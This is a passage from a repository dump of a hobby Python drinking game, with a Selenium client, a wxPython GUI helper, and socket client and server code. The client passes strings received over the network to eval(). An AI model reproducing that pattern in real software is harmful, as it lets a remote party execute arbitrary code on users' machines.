self.driver.switch_to.window(self.tab)\r\n\r\n try: self.driver.switch_to.alert.dismiss()\r\n except NoAlertPresentException: pass\r\n\r\n while(True):\r\n try:\r\n self.driver.switch_to.window(self.tab)\r\n\r\n self.driver.find_elements_by_xpath('''//*[@class='glyphicon glyphicon-stop']''').click()\r\n except: pass\r\n\r\n try:\r\n self.driver.find_element_by_xpath(\"//*[@class='glyphicon glyphicon-play']\").click()\r\n \r\n break\r\n except: pass\r\n\r\n time.sleep(3)\r\n \r\n self.driver.switch_to.window(self.tab)\r\n \r\n try:\r\n self.client.send_to_server(f\"--drink;{len(self.driver.find_elements_by_xpath('''//*[@class='error_line']'''))}\"\r\n f\"{self.conn_symbols['Urgency']}{self.conn_symbols['Client_listen']}\")\r\n except:\r\n self.client.send_to_server(f\"--drink;0{self.conn_symbols['Urgency']}{self.conn_symbols['Client_listen']}\")\r\n\r\n self.driver.switch_to.window(self.tab)\r\n\r\n # drink will be executed by the server when the code is\r\n # compiled. It will then tell the user how many times\r\n # it should drink\r\n def drink(self, drinks:str='0'):\r\n logging.info(f\"Recieved order to drink {drinks} times\")\r\n self.driver.execute_script(f\"alert('Drink {drinks} times');\", []) \r\n \r\n # add_player will record a new player, when given by the\r\n # server. It is meant to have the utility of listing\r\n # all users avaliable to chat with\r\n def add_player(self, player:\"str(addr, name)\"):\r\n addr, name = eval(player)\r\n logging.info(f\"Added new player {name} ({addr})\")\r\n self.players[addr] = name\r\n\r\n # add_chat adds a new message to the chat list\r\n def add_chat(self, text:str):\r\n self.chat.append(eval(text))\r\n\r\n # __print_gui is a debugging function that prints all\r\n # server-recieved variables\r\n def __print_gui(self):\r\n print()\r\n print(f\"Chat: {self.chat}\")\r\n print()\r\n print(f\"Players: {self.players}\")\r\n print()\r\n print(f\"Drinks:{self.drinks}\")\r\n print()\r\n \r\nif __name__ == \"__main__\":\r\n main()\r\n" }, { "alpha_fraction": 0.5333195328712463, "alphanum_fraction": 0.5464485287666321, "avg_line_length": 42.96648025512695, "blob_id": "b9377f456a77f657f7bdd27bfd6e47b2f43b45f7", "content_id": "28f12da5dc1a1c3df85e5607d3e203b4f15c9a72", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24145, "license_type": "permissive", "max_line_length": 191, "num_lines": 537, "path": "/front.py", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "# Imports\r\nimport logging, wx\r\nfrom re import split as multisplit\r\nfrom cv2 import imread\r\n\r\n# Main function for testing\r\ndef __main():\r\n # level = logging. + [CRITICAL, ERROR, WARNING, INFO, DEBUGGING]\r\n logging.basicConfig(format='%(asctime)s %(levelname)s | %(message)s', level=logging.DEBUG)\r\n\r\n return\r\n\r\n app = wx.App()\r\n frame = Frame(name=\"Un xicotet test\", size=(1000,700))\r\n #panel = frame.new_panel(bgcolor=(50,50,50))\r\n winsize = frame._size\r\n \r\n #panel = frame.new_panel((winsize[0],40),bgcolor=(255,0,0))\r\n #panel.add_text(\"Un petit test\", (0,0), (300,100),font=wx.Font(37,wx.ROMAN,wx.NORMAL,wx.NORMAL))\r\n #panel = frame.new_panel((300,400),(0,41),(170,170,170),(0,600))\r\n #panel.add_checkbox(\"Did i say it was a test?\", (10, 50), (200,180), on_click=lambda ev: print(ev))\r\n #but = panel.add_button(\"Try it out\", (20, 250),(160,50), on_click=lambda ev: print(ev))\r\n #but.Bind(wx.EVT_ENTER_WINDOW, (lambda ev: ev.GetEventObject().SetLabelText(\"Tested :P\")))\r\n #but.Bind(wx.EVT_LEAVE_WINDOW, (lambda ev: ev.GetEventObject().SetLabelText(\"Try it out\")))\r\n \r\n\r\n panel = frame.new_panel(\"(_size[0],@350)\", \"(0,@41)\")\r\n panel.add_textbox(f\"(@{panel.Size.x/2},0)\", f\"(@{panel.Size.x/2},@{panel.Size.y})\", \"Editable test\", on_event=lambda e: print(f\"User pressed enter. | {e.String} \\n END |\"))\r\n\r\n panel.add_image(\"Special.PNG\",(0,0),f\"(@{panel.Size.x/2},@{panel.Size.y})\")\r\n\r\n panel = frame.new_panel(\"(_size[0]-@320,20+@20)\", \"(@300,@391)\")\r\n panel.add_textbox((0,0), f\"(@{panel.Size.x},{panel.Size.y/2}+@{panel.Size.y/2})\", \"Editable password\", hidden = True, on_event=lambda e: print(f\"User password | {e.String}\"))\r\n\r\n\r\n app.MainLoop()\r\n\r\n# Not typing hints 'cause is just a test funct\r\n\r\n\r\n\r\n\r\n\"\"\"\r\n The class Frame creates a new empty window. To add widgets such as\r\n buttons you have to first run Frame.new_panel and use the object\r\n it returns to draw those widgets. The first panel may not follow size arg\r\n but you can stack panels on top of each other.\r\n\"\"\"\r\nclass Frame(wx.Frame):\r\n def __init__(self, parent:wx.Frame=None, name:str=\"New frame\", size:tuple=None, resizable:bool=True):\r\n logging.info(\"New Frame(wx.Frame) created.\")\r\n logging.debug(f\"Frame.__init__(self, {parent}, {name}, {size})\")\r\n\r\n self._parent = parent\r\n if(not parent is None): self.__parent_size = parent._size\r\n\r\n # Check size format\r\n if(size is None or (type(size) != tuple and type(size) != list) or len(size) != 2):\r\n logging.warning(\"Looks like size was either not set or in a wrong format\\n\"\r\n f\" size={size}\")\r\n\r\n size = wx.DisplaySize()\r\n\r\n self.__class__.__base__.__init__(self, parent, -1, name, (0,0), size)\r\n\r\n if(not resizable):\r\n pass\r\n else: self.Bind(wx.EVT_SIZE, lambda _: self.__resize__())\r\n\r\n\r\n self.windows = []\r\n self.panels = []\r\n\r\n self.Show(True)\r\n\r\n # Creates a new unique window, child of parent. It returns a Frame\r\n # object becaue all windows are Frames\r\n def new_window(self,size:tuple=None, resizable:bool=True, parent:object=None) -> 'Frame':\r\n logging.debug(f\"Frame.new_window(self, {size}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n if(size is None): size = self._size\r\n\r\n self.windows.append(Frame(parent, size=size, resizable=resizable))\r\n self.windows[-1].Show()\r\n return self.windows[-1]\r\n\r\n # new_panel creates a canvas inside the Frame. It returns a Panel object\r\n # which has functions to create and draw widgets\r\n def new_panel(self, size:tuple=None, location:tuple=(0,0),\r\n bgcolor:tuple=(90,90,90), scrollbarsxy_size:tuple=False, scrollbarsxy_extend:tuple=0,\r\n style:\"style1 | style2\"=wx.BORDER_THEME, resizable:bool=True,\r\n name:str='', allow_files_drop:bool=False, parent:object=None) -> 'Panel':\r\n logging.debug(f\"Frame.new_panel(self, {size}, {location}, {bgcolor}, {scrollbarsxy_size},\"\r\n f\" {scrollbarsxy_extend}, {style}, {resizable}, {name}, {allow_files_drop},\"\r\n f\" {parent})\")\r\n\r\n if(parent is None): parent = self\r\n if(size is None): size = self._size\r\n\r\n self.panels.append(Panel(parent, size, location, bgcolor, scrollbarsxy_size, scrollbarsxy_extend,\r\n style, resizable, name, allow_files_drop)) \r\n return self.panels[-1]\r\n\r\n \r\n @property\r\n def _size(self) -> tuple:\r\n return (self.Size.x, self.Size.y)\r\n\r\n # Function to resize all marked as resizable\r\n def __resize__(self) -> None:\r\n for panel in self.panels:\r\n panel.__resize__()\r\n\r\n\r\n\r\n\"\"\"\r\n The Panel object is the canvas of a Frame object and should\r\n have a wx.Frame object as a parent. The functions here are\r\n written to create locally (in self Panel) widgets.\r\n\"\"\"\r\nclass Panel(wx.ScrolledWindow):\r\n def __init__(self, parent:wx.Frame, size:tuple, location:tuple=(0,0), bgcolor:tuple=(90,90,90),\r\n scrollbarsxy_size:tuple=False, scrollbarsxy_extend:tuple=0,\r\n style:\"style1 | style2\"=wx.BORDER_THEME,\r\n resizable:tuple=True, name:str='', allow_files_drop:bool=False):\r\n logging.info(\"New Panel(wx.ScrolledWindow) created.\")\r\n logging.debug(f\"Panel.__init__(self, {parent}, {size}, {location}, {bgcolor}, {scrollbarsxy_size}, \"\r\n f\"{scrollbarsxy_extend}, {style}, {resizable}, {name}, {allow_files_drop}\")\r\n\r\n self._parent = parent\r\n self.name = name\r\n\r\n logging.debug(f\"loc: {location} -> {self.check_format(location,False)} -> {self.check_format(location)}\")\r\n logging.debug(f\"siz: {size} -> {self.check_format(size,False)} -> {self.check_format(size)}\")\r\n\r\n self.__class__.__base__.__init__(self, parent, -1, self.check_format(location), self.check_format(size), style)\r\n self.SetBackgroundColour(bgcolor)\r\n if(scrollbarsxy_size): \r\n self.SetScrollbars(1,1,*scrollbarsxy_size)\r\n\r\n self.extend_scrollbar = scrollbarsxy_extend\r\n\r\n self.Bind(wx.EVT_SCROLL_BOTTOM, self.__extend_scrollbar__)\r\n \r\n self.resizable = resizable\r\n if(resizable):\r\n self.resize = self.check_format(size, False)\r\n self.relocate = self.check_format(location, False)\r\n\r\n self.Bind(wx.EVT_SCROLL, lambda _: self.Refresh())\r\n self.DragAcceptFiles(allow_files_drop)\r\n\r\n self.buttons = []\r\n self.text = []\r\n self.checkbox = []\r\n self.bitmaps = []\r\n self.textbox = []\r\n\r\n self.widgets_list = [self.buttons, self.text, self.checkbox,\r\n self.bitmaps, self.textbox]\r\n\r\n self.panels = []\r\n\r\n # SetBackgroundColor won't work if this is not called\r\n self.Refresh()\r\n\r\n # new_panel creates a canvas inside the Panel parent.\r\n def new_panel(self, size:tuple=None, location:tuple=(0,0),\r\n bgcolor:tuple=(90,90,90), scrollbarsxy_size:tuple=False, scrollbarsxy_extend:tuple=0, \r\n style:\"style1 | style2\"=wx.BORDER_THEME, resizable:bool=True,\r\n name:str='', allow_files_drop:bool=False, parent:object=None) -> 'Panel':\r\n logging.debug(f\"Parent.new_panel(self, {size}, {location}, {bgcolor}, {scrollbarsxy_size}, \"\r\n f\"{scrollbarsxy_extend}, {style}, {resizable}, {name}, {allow_files_drop}, \"\r\n f\"{parent}\")\r\n\r\n if(parent is None): parent = self\r\n if(size is None): size = self._size\r\n\r\n #Do not chech_format since it is done in __init__\r\n self.panels.append(Panel(parent, size, location, bgcolor, scrollbarsxy_size, scrollbarsxy_extend, \r\n style, resizable, name, allow_files_drop)) \r\n return self.panels[-1]\r\n\r\n # Adds a button in the panel\r\n def add_button(self, label:str, location:tuple, size:tuple, on_click:\"function\", \r\n style:\"style1 | style2\"=0, parent:wx.Window=None) -> wx.Button:\r\n logging.debug(f\"Panel.add_button(self, {label}, {location}, {size}\"\r\n f\", {on_click}, {style}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n\r\n self.buttons.append([wx.Button(parent, label=label, pos=self.check_format(location),\r\n size=self.check_format(size), style=style), \r\n self.check_format(size,False), self.check_format(location,False)])\r\n\r\n self._parent.Bind(wx.EVT_BUTTON, on_click, self.buttons[-1][0])\r\n\r\n return self.buttons[-1][0]\r\n\r\n # Adds a text box in the panel\r\n def add_text(self, location:tuple, size:tuple, text:str, color:tuple=(0,0,0), \r\n bgcolor:tuple=None, font:wx.Font=None, \r\n style:\"style1 | style2\"=0, parent:wx.Window=None) -> wx.StaticText:\r\n logging.debug(f\"Panel.add_text(self, {text}, {location}, {size},\"\r\n f\"{color}, {bgcolor}, {font}, {style}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n \r\n self.text.append([wx.StaticText(parent, -1, text, self.check_format(location),\r\n self.check_format(size), style), \r\n self.check_format(size,False), self.check_format(location,False)])\r\n\r\n self.text[-1][0].SetForegroundColour(color) \r\n if(not bgcolor is None): self.text[-1][0].SetBackgroundColour(bgcolor)\r\n if(not font is None): self.text[-1][0].SetFont(font) \r\n\r\n return self.text[-1][0]\r\n\r\n # Add a writable text box\r\n def add_textbox(self, location:tuple, size:tuple, text:str='', \r\n style:\"style1 | style2\"=0, on_event:\"function\"=None, \r\n multiline:bool=True, hidden:bool=False, writable:bool=True,\r\n event:\"wx.EVT_TEXT\"=wx.EVT_TEXT_ENTER,\r\n parent:wx.Window=None) -> wx.TextCtrl:\r\n logging.debug(f\"Panel.add_textbox(self, {location}, {size}, {text}, {style},\"\r\n f\"{multiline}, {hidden}, {writable}, {event}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n \r\n # Looks like you can't have a multiline password\r\n # (at least i can't nor care) maybe i'll retry it later\r\n if(hidden): \r\n style = style | wx.TE_PASSWORD\r\n elif(multiline): style = style | wx.TE_MULTILINE\r\n elif(not writable): style = style | wx.TE_READONLY\r\n\r\n self.textbox.append([wx.TextCtrl(parent, -1, text, self.check_format(location), \r\n self.check_format(size), style), \r\n self.check_format(size,False), self.check_format(location,False)])\r\n\r\n if(not on_event is None):\r\n if(hidden and event == wx.EVT_TEXT_ENTER): event = wx.EVT_TEXT\r\n self.textbox[-1][0].Bind(event, on_event)\r\n\r\n return self.textbox[-1][0]\r\n\r\n # Adds a checkbox in the panel\r\n def add_checkbox(self, text:str, location:tuple, size:tuple, on_click:'function'=None,\r\n style:'style1 | style2'=0, validator:wx.Validator=wx.Validator,\r\n parent:wx.Window=None) -> wx.CheckBox:\r\n logging.debug(f\"Panel.add_checkbox(self, {text}, {location}, {size},\"\r\n f\"{on_click}, {style}, {validator}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n \r\n self.checkbox.append([wx.CheckBox(parent, -1, text, self.check_format(location), \r\n self.check_format(size), style), \r\n self.check_format(size,False), self.check_format(location,False)])\r\n\r\n if(not on_click is None): self.checkbox[-1][0].Bind(wx.EVT_CHECKBOX, on_click)\r\n\r\n return self.checkbox[-1][0]\r\n\r\n # Adds an image as a StaticBitmap in the frame\r\n def add_image(self, location:tuple, size:tuple, image_path:\"str(path)\"=\"None.jpg\",\r\n style:\"style1 | style2\"=wx.Center, allow_files_drop:bool=False,\r\n multiimage:bool=True, parent:wx.Window=None, menu:bool=True,\r\n bitmap_images:list=[]) -> wx.StaticBitmap:\r\n logging.debug(f\"Panel.add_image(self, {image_path}, {location}, {size}, {style}, {parent})\")\r\n\r\n if(parent is None): parent = self\r\n if(menu): size = f\"{str(size[:-1])}-@30)\"\r\n\r\n self.bitmaps.append([Image_container(self, location, size, style, image_path, menu, bitmap_images), \r\n self.check_format(size,False), self.check_format(location,False)])\r\n\r\n if(allow_files_drop): self.Bind(wx.EVT_DROP_FILES, self.bitmaps[-1][0].image_drop_event)\r\n\r\n return self.bitmaps[-1][0]\r\n\r\n # Runs instances times function(**args). This function is designed to create\r\n # rows or columns\r\n def create_multiple(self, instances:int, function:'function', args:dict={}) -> list:\r\n logging.debug(f\"Panel.create_multiple(self, {instances}, {function}, {args})\")\r\n\r\n returned = []\r\n\r\n for num in range(instances):\r\n checked_args = {}\r\n for arg,value in args.items(): \r\n if(type(value) == str):\r\n checked_args[arg] = value.replace(\"num\", str(num))\r\n continue\r\n checked_args[arg] = value\r\n \r\n returned.append(function(**checked_args))\r\n\r\n return returned\r\n\r\n\r\n def check_format(self, variable, do_eval:bool=True):\r\n if(type(variable) == str): \r\n _size = self._parent._size\r\n if(variable.find('@') + 1 or variable.find('%') + 1): variable = self.__resize_formatting__(variable)\r\n if(do_eval): return eval(variable)\r\n return variable\r\n\r\n # This will format any n (2 pref) dimensional tuple and calculate any number starting with\r\n # @ so that it will be able to resize based on parent's size\r\n # Example [size=(700,1000)] (@300, @500 + 10) -> (0.42857*size[0], 0.5*size[1] + 10) [(300/700*size[0], 500/1000*size[1] + 10)] \r\n def __resize_formatting__(self, formula:\"str(tuple)\", characters:list=['+','-','*','/','(',')']) -> \"str(tuple)\":\r\n logging.debug(f\"Panel.__resize_formatting(self, {formula}, {characters})\")\r\n\r\n start = formula.find(\"(\")\r\n # end should be -= 1 but it's a wasted operation\r\n end = len(formula)-formula[::-1].find(\")\")\r\n \r\n before = formula[:start]\r\n after = formula[end:]\r\n formula = formula[start:end]\r\n\r\n del start, end\r\n \r\n final = ()\r\n # Just in case not to mess up the eval\r\n size = self._parent._size\r\n\r\n for dim_num, dimension in enumerate(formula.replace(' ','')[1:][:-1].split(',')):\r\n dimension_formatted = \"\"\r\n\r\n # Maybe this was better but didn't work. I think my understanding of re was insufficient\r\n # Idk, this is O(6*n) algorithm and the one below is only m, but usually m won't be bigger than 50\r\n # Also the second one has way more assignments '-.-\r\n #splitables = [not_empty for found in findall(characters, dimension) for not_empty in found if not_empty] + ['']\r\n\r\n # Just get all +, -, *, /, ( and ) in order\r\n splitables = []\r\n splitable = \"\"\r\n for num, char in enumerate(dimension):\r\n if(not char in characters):\r\n if(splitable): \r\n # Check if there's any symbol before any number\r\n if(num == len(splitable)):\r\n dimension_formatted += splitable\r\n splitable = ''\r\n continue\r\n\r\n splitables.append(splitable)\r\n splitable = ''\r\n\r\n continue\r\n\r\n splitable += char\r\n\r\n if(splitable): splitables.append(splitable)\r\n else: splitables.append('')\r\n\r\n del splitable\r\n\r\n num = 0\r\n for splitted in multisplit(\"\\\\\"+\"|\\\\\".join(characters)+\"+\", dimension):\r\n logging.debug(f\"dim: {dim_num} || splitted: {splitted}\")\r\n if(not splitted): continue\r\n if(splitted[0] == '@'): splitted = f\"{splitted[1:]}/{size[dim_num]}*_size[{dim_num}]\"\r\n elif(splitted[0] == '%'): splitted = splitted[1:]+f\"*_size[{dim_num}]\"\r\n dimension_formatted += splitted + splitables[num]\r\n num += 1\r\n\r\n final = final + (dimension_formatted,)\r\n\r\n return before + str(final).replace('\\'','') + after\r\n\r\n def __resize__(self):\r\n logging.debug(\"Panel.__resize__(self)\")\r\n if(not self.resizable): return\r\n \r\n self.SetPosition(self.check_format(self.relocate))\r\n self.SetSize(self.check_format(self.resize))\r\n\r\n for panel in self.panels:\r\n panel.__resize__()\r\n\r\n # This can be done since list are immutable\r\n for widgets in self.widgets_list:\r\n for widget in widgets:\r\n widget[0].SetSize(self.check_format(widget[1]))\r\n widget[0].SetPosition(self.check_format(widget[2]))\r\n\r\n self.Refresh()\r\n\r\n def __extend_scrollbar__(self, event):\r\n logging.debug(f\"Panel.__extend_scrollbar__(self, {event})\")\r\n new_size = check_format(self.extend_scrollbar)\r\n\r\n if(type(new_size) == int): new_size = (new_size, new_size)\r\n\r\n event.GetParent().GetScroll(event.GetOrientation()).Range = (event.GetParent().GetScroll(event.GetOrientation()).Range +\r\n new_size[event.GetOrientation()])\r\n \r\n @property\r\n def delete(self, step:int=-1) -> None:\r\n logging.debug(f\"Panel.delete(self)\")\r\n logging.info(\"Removed one panel\")\r\n \r\n if(step == 1 or step < 0):\r\n self._parent.panels.remove(self)\r\n if(step == 2 or step < 0):\r\n self.Destroy()\r\n\r\n @property\r\n def _size(self) -> tuple:\r\n return (self.Size.x, self.Size.y)\r\n\r\n\r\n\"\"\"\r\n A special class in order to make ALL StaticBitmap containers look better\r\n that's the reason it is in front.py\r\n\"\"\"\r\nclass Image_container(wx.StaticBitmap):\r\n def __init__(self, parent:Panel, location:tuple, size:tuple, style:'style1 | style2',\r\n image_path:str=\"None.jpg\", menu:bool=True, bitmap_images:list=[]):\r\n \r\n self._parent = parent\r\n self.bitmap_images = bitmap_images\r\n\r\n self.__class__.__base__.__init__(self, parent, -1, self.image_from_path(image_path, parent), \r\n self._parent.check_format(location), self._parent.check_format(size), style)\r\n\r\n if(image_path != \"None.jpg\"): \r\n self.bitmap_images.append(image_path)\r\n\r\n self.image_num = 0\r\n\r\n if(menu): \r\n self.menu = parent._parent.new_panel(f\"{str(size)[:str(size).find(',')]}, @30)\", \r\n f\"{str(location)[:str(size).find(',')]}{str(size)[str(size).find(',')+1:]}\", \r\n (255,255,255))\r\n \r\n # in case of adding anything i have to change the way of accessing it in self.set_image\r\n self.menu_sub = [\r\n self.menu.add_button('<', (0,0), \"(self.Size.y, self.Size.y)\", lambda _: self.set_image(self.image_num-1)),\r\n self.menu.add_textbox(\"(self.Size.x/2-self.Size.y,0)\", \"(self.Size.y*2,self.Size.y)\",\r\n f\"{self.image_num}/{len(self.bitmap_images)}\", multiline=False,\r\n on_event=lambda event: self.set_image(event.String), event=wx.EVT_TEXT),\r\n self.menu.add_button('>', \"(self.Size.x-self.Size.y,0)\", \"(self.Size.y, self.Size.y)\", \r\n lambda _: self.set_image(self.image_num+1))\r\n ]\r\n\r\n else: \r\n self.menu = None\r\n self.menu_sub = None\r\n\r\n self.menu.Refresh()\r\n\r\n self.set_image(len(self.bitmap_images))\r\n\r\n # Saves all images droped on event\r\n def image_drop_event(self, event:wx.EVT_DROP_FILES, filetypes:list=[\"jpg\",\"jpeg\",\"png\"]):\r\n logging.debug(f\"Image_container.image_drop_event(self, {event}, {filetypes})\")\r\n logging.info(f\"The user has dropped {event.GetNumberOfFiles()} file\"\r\n f\"{'s' if event.GetNumberOfFiles() != 1 else ''}\")\r\n for image in event.GetFiles():\r\n if(image[len(image)-image[::-1].find(\".\"):].lower() in filetypes):\r\n self.bitmap_images.append(self.image_from_path(image, self._parent))\r\n\r\n if(len(self.bitmap_images)):\r\n self.set_image(len(self.bitmap_images))\r\n\r\n self.CenterOnParent()\r\n\r\n self.Refresh()\r\n\r\n # Returns a bitmap from a image_path\r\n @staticmethod\r\n def image_from_path(image_path:str, panel:wx.Window, keep_ratio:bool=True, scale_to:\"fit/fill\"='fit') -> wx.Bitmap:\r\n logging.debug(f\"Image_container.image_from_path({image_path}, {panel}, {scale_to})\")\r\n\r\n if(keep_ratio or scale_to == \"fit\"):\r\n img_size = imread(image_path).shape[:2][::-1]\r\n\r\n logging.debug(f\"Non-formatted image has size {img_size}\")\r\n\r\n if(scale_to == \"fill\"): \r\n if(img_size[0] < img_size[1]):\r\n img_size = (panel.Size.x, img_size[1]*panel.Size.x/img_size[0])\r\n elif(img_size[0] > img_size[1]):\r\n img_size = (img_size[0]*panel.Size.y/img_size[1], panel.Size.y)\r\n else: img_size = (min(panel._size),)*2\r\n else: # Done so that i don't have to raise ValueError of scale_to\r\n if(img_size[0] < img_size[1]):\r\n img_size = (img_size[0]*panel.Size.y/img_size[1], panel.Size.y)\r\n elif(img_size[0] > img_size[1]):\r\n img_size = (panel.Size.x, img_size[1]*panel.Size.x/img_size[0])\r\n else: img_size = (min(panel._size),)*2\r\n\r\n else:\r\n img_size = panel.Size\r\n \r\n logging.debug(f\"Formatted image has size {img_size}\")\r\n\r\n return wx.Image(image_path, wx.BITMAP_TYPE_ANY).Scale(img_size[0], img_size[1],\r\n wx.IMAGE_QUALITY_HIGH).ConvertToBitmap()\r\n\r\n def set_image(self, image_num:int):\r\n logging.debug(f\"Image_container.set_image(self, {image_num})\")\r\n \r\n if(str(image_num).find('/')+1): image_num = image_num[:image_num.find('/')]\r\n\r\n try:\r\n if(int(image_num) < 1 or int(image_num) > len(self.bitmap_images) or int(image_num) == self.image_num): return\r\n except: return\r\n\r\n self.image_num = int(image_num)\r\n\r\n # This will trigger itself\r\n if(not self.menu is None): self.menu_sub[1].SetValue(f\"{image_num}/{len(self.bitmap_images)}\")\r\n\r\n self.SetBitmap(self.bitmap_images[self.image_num-1])\r\n self.CenterOnParent()\r\n\r\n self.Refresh()\r\n\r\n\r\n def SetSize(self, size:tuple) -> None:\r\n logging.debug(f\"Image_container.SetSize(self, {size})\")\r\n self.__class__.__base__.SetSize(self, size)\r\n self.CenterOnParent()\r\n \r\n def SetPosition(self, location:tuple) -> None:\r\n logging.debug(f\"Image_container.SetPosition(self, {location})\")\r\n self.__class__.__base__.SetPosition(self, location)\r\n # self.CenterOnParent here looks unnecessary\r\n\r\n# Testing\r\nif __name__ == \"__main__\":\r\n __main()" }, { "alpha_fraction": 0.5745019912719727, "alphanum_fraction": 0.5840637683868408, "avg_line_length": 30.128204345703125, "blob_id": "f419587a82c4145b33d7c021e14f9f44731b1a3f", "content_id": "2e906bb65ddc02fde1beba8ee9484bb0ad9e10bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2510, "license_type": "permissive", "max_line_length": 94, "num_lines": 78, "path": "/Client.py", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "\r\nimport socket\r\nimport logging\r\nimport time\r\n\r\n# This function gets executed when you run\r\n# python Client.py and its use is to test the code\r\n# so it will usually be empty\r\ndef main():\r\n return\r\n import sys\r\n #multiprocessing_logging.install_mp_handler()\r\n logging.basicConfig(format=\"%(asctime)s %(levelname)s | %(message)s\", level=logging.DEBUG)\r\n cl = Client()\r\n cl.connect(sys.argv[1], 12412)\r\n\r\n\"\"\"\r\n The Client class is the main socket client class.\r\n It is programmed to connect to an instance of\r\n Server.Server. It mostly listens and sends data\r\n from and to the server\r\n\"\"\"\r\nclass Client():\r\n def __init__(self):\r\n logging.debug(f\"Client.__init__(self)\")\r\n logging.info(\"Created new client\")\r\n self.listener = None\r\n self.server = None\r\n\r\n # connect will connect to the server in ip:port .\r\n # if given a password, the client will try to send it to\r\n # the server (not working)\r\n def connect(self, ip:str, port:int=12412, password:str=None):\r\n logging.debug(f\"Client.connect(self, {ip}, {port}, {password})\")\r\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n while(True):\r\n try:\r\n server.connect((ip, int(port)))\r\n break\r\n except ConnectionRefusedError: pass\r\n\r\n self.server = server\r\n logging.info(f\"Connected to personal port in {ip}:{port}\")\r\n\r\n self.listener = self.listen(server)\r\n\r\n return self.listener\r\n\r\n # listen takes one connected instance of socket.socket\r\n # and returns one generator. Each time that the\r\n # generator executes its .next() , tbe function will\r\n # be resumed, and it will return any data collected\r\n # from the server\r\n def listen(self, server:socket.socket) -> \"generator\":\r\n timeout = 0\r\n \r\n #server.settimeout(10)\r\n\r\n while(True):\r\n data = server.recv(1024)\r\n decoded_data = data.decode(\"utf-8\")\r\n\r\n if(data is None):\r\n timeout += 1\r\n if(timeout > 9): break\r\n elif(decoded_data != ''):\r\n timeout = 0\r\n del data\r\n yield decoded_data\r\n\r\n # send_to_server turns {data} into utf-8 formatted\r\n # bytes and sends them to the server\r\n def send_to_server(self, data:str):\r\n if(not self.server is None):\r\n self.server.sendall(bytes(data, \"utf-8\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n" }, { "alpha_fraction": 0.875, "alphanum_fraction": 0.875, "avg_line_length": 9.666666984558105, "blob_id": "3901d2c8b634627255b05777086a8697bd085232", "content_id": "138d4daa4f1837732f7f179ece9e45f3dfdbaa03", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 32, "license_type": "permissive", "max_line_length": 13, "num_lines": 3, "path": "/requirements.txt", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "selenium\nopencv-python\nwxpython\n" }, { "alpha_fraction": 0.8134328126907349, "alphanum_fraction": 0.8134328126907349, "avg_line_length": 66, "blob_id": "c1c515c22957e1f3adf80736bb91d47d2d6c4858", "content_id": "be37a99ffed1822e377223f197eb4041d9cd4afb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 134, "license_type": "permissive", "max_line_length": 115, "num_lines": 2, "path": "/README.md", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "# BeerProgramming\nA game I and some really good friends of mine came up about drinking about drinking if your program doesn't compile\n" }, { "alpha_fraction": 0.5150996446609497, "alphanum_fraction": 0.520723819732666, "avg_line_length": 38.69154357910156, "blob_id": "631659b0cbe154d8ad53a7d9cf6fd191e71987e1", "content_id": "af46157f4967445e47279a3def67e77e4c32a744", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8179, "license_type": "permissive", "max_line_length": 109, "num_lines": 201, "path": "/Server.py", "repo_name": "saisua/BeerProgramming", "src_encoding": "UTF-8", "text": "from multiprocessing import Process, Manager\r\nimport socket, logging\r\nimport typing\r\n\r\n# This function gets executed when you run\r\n# python Server.py and its use is to test the code\r\n# so it will usually be empty\r\ndef main():\r\n logging.error(\"Run run_server instead\")\r\n\r\n \r\n\"\"\"\r\n The Server class is the main builder for the Sockets\r\n over TCP. It will by default allow an unlimited number\r\n of clients, but it will accept only 1.\r\n When told so, it can accept multiple clients at once.\r\n When one client gets connected, the Server assigns\r\n one process to that client, and that process divides\r\n into two, one that operates from the point of view of the\r\n server, and a second one, as a daemon, who listens and\r\n runs the functions given in order_dict\r\n\"\"\"\r\nclass Server():\r\n def __init__(self, ip:str=None, port:int=12412, password:str=None, max_connections:int=-1,\r\n order_dict:dict={}):\r\n self.threaded = [False, False]\r\n \r\n logging.debug(f\"Server.__init__(self, {ip}, {port}, {password}, {max_connections})\")\r\n #self._clients_process = []\r\n #self._clients_p_obj = []\r\n self.__manager = Manager()\r\n self._client_from_addr = self.__manager.dict()\r\n self._process_from_addr = {}\r\n self.open = self.__manager.dict()\r\n \r\n self.order_dict = order_dict\r\n\r\n if(ip is None): \r\n ip = socket.gethostbyname_ex(socket.gethostname())[-1]\r\n if(type(ip) is list or type(ip) is tuple): ip = ip[-1]\r\n logging.warning(f\"Ip set automatically to {ip}\")\r\n\r\n ip = \"127.0.0.1\"\r\n logging.warning(f\"Ip set automatically to {ip}\")\r\n\r\n self.ip = ip\r\n self.port = int(port)\r\n\r\n self.password = password\r\n self.max_connections = int(max_connections) if max_connections >= -1 else -1\r\n\r\n self._connection = socket.socket(socket.AF_INET, \r\n socket.SOCK_STREAM)\r\n self._connection.bind((ip, port))\r\n logging.info(\"Created new server\")\r\n\r\n # listen_connections sets up {connections} connections,\r\n # that when connected by a client, will assign one new\r\n # thread to that client\r\n def listen_connections(self, connections:int=1, ip:str=None, port:int=None) -> None:\r\n logging.debug(f\"Server.listen_connections(self, {connections}, {ip}, {port})\")\r\n \r\n if(ip is None): ip = self.ip\r\n if(port is None): port = self.port\r\n else: self.port = int(port)\r\n \r\n if(self.threaded[0]):\r\n process = [] #miau\r\n for _ in range(connections):\r\n process.append(Process(target=self.new_connection, args=(ip, port)))\r\n \r\n print(\"stop\")\r\n\r\n process[-1].start()\r\n \r\n for conn in process: conn.join()\r\n else: self.new_connection(ip, port)\r\n \r\n # 